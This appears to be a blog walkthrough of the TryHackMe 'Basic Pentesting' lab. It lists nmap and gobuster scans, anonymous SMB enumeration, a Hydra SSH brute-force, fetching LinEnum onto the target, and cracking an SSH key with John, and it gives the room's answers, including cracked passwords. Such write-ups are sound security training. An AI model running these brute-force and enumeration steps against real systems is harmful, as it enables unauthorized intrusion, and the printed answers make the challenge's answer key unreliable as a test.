Challenges: Basic Pentesting (TryHackMe)

Search for a command to run...

No comments yet. Be the first to comment.
Link to the challenge on TryHackMe: Modern Web Stacks Introduction During a time-boxed engagement, the first tester to identify Apache/2.4.49 in a Server: header already knows the exact CVE before the

Link to the challenge/walkthrough on TryHackMe: Broken Authentication Introduction Authentication is the process by which a web application verifies the identity of the user making a request. It typic

Link to the HealthGPT AI security CTF challenge on TryHackMe. Meet HealthGPT, a well-meaning virtual assistant used by a busy healthcare team. It helps clinicians look up procedures, draft notes, and

Link to the section of the AI Odyssey CTF on TryHackMe: Token City. It covers challenges like: ML Sec: The Loan Arranger | AI Sec + DFIR: Rogue Commit | AI Sec + Web App Sec: Sealed Substation | Agent

Link to the Privilege Escalation Challenge on TryHackMe: Linux Privilege Escalation: Automation Introduction By now, you should have an understanding of basic privilege escalation techniques and how t

This article will cover the Basic Pentesting write-up on THM Challenges.
Web App Testing and Privilege Escalation
In these set of tasks you'll learn the following:
brute forcing
hash cracking
service enumeration
Linux Enumeration
The main goal here is to learn as much as possible. Make sure you are connected to our network using your OpenVPN configuration file.
Credits to Josiah Pierce from Vulnhub.
Deploy the machine and connect to our network
Find the services exposed by the machine
What is the name of the hidden directory on the web server(enter name without /)? development
nmap -sV -p 1-65000 <IP_Address>
gobuster dir -u <IP_Address> -w /usr/share/wordlists/dirb/common.txt

User brute-forcing to find the username & password
What is the username? jan
smbclient -L \\\\<IP_Address>\\ -N
smbclient -L \\\\10.10.11.217\\Anonymous -N this launches the smb client
smb: \> ls
// we’ll access the staff.txt file
smb: \> exit

cat staff.txt //We’ll find two users

What is the password? armando
There are a lot of Hydra commands, but the one that worked for this case was the one that uses SSH
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.10.143.82

What service do you use to access the server(answer in abbreviation in all caps)? SSH
Enumerate the machine to find any vectors for privilege escalation
On one tab, start the server at port 8000: python3 -m http.server 8000
on another run the following commands:
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
wget http://10.10.144.83:8000/LinEnum.sh
chmod +x LinEnum.sh

./LinEnum.sh
What is the name of the other user you found(all lowercase)? kay
If you have found another user, what can you do with this information?
For this last part, you’ll be using John and SSH2John.py to find the id_rsa and later on the password
What is the final password you obtain? heresareallystrongpasswordthatfollowsthepasswordpolicy$$
Thank you for reading my article. Please leave any questions or comments on improving my learning journey and the THM challenges.